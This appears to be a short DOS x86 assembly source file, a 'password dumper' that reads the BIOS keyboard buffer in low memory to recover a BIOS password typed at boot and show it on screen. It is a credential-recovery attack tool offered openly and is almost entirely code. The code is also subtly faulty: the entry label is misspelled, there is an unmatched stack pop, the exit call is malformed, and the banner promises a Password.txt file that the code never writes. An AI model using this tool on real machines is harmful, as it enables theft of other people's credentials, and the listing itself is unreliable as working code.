BIOS password physical memory reading utility that displays to the screen.
eb06f2fd16b017c08eec4ae6bf10740c88c828cdd6354841179d634f9a6c0d0b
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Endrazine endrazine@pulltheplug.org ;
; Bios Password Physical Memory Reader ;
; Display on screen, Windows Compatible version ;
;Complete article at http://www.pulltheplug.org/users/endrazine;
; ;
;Compiling : A86 dbiosw.asm dbiosw.com ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
code segment
org 100h
assume ds:code, es:code, cs:code
srart:
mov ah, 09h
mov dx,offset welcome
int 21h
xor ax,ax
int 16h
mov ah,03h
xor bx,bx
int 10h
xor dl,dl
inc dl
inc dh
inc dh
mov ah,02h
xor bx,bx
int 10h
pop cx
mov ds, 40h
mov si, 01EH
inc si
mov cx,16
daloop:
push cx
mov ds,40h
mov ax,[ds:si]
add si,2
mov dl,ah
mov ds,es
xor ax,ax
mov ah, 02h
int 21h ; Write buffer
mov ah,03h
xor bx,bx
int 10h
xor dl,dl
inc dh
mov ah,02h
xor bx,bx
int 10h
pop cx
loop daloop
mov ds,es
mov ax,4ch
int 21h
handle dw ?
welcome db 'Password dumper by Endrazine',10,13
db '',10,13
db 'Dumping Password to Password.txt',10,13
db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
end start
end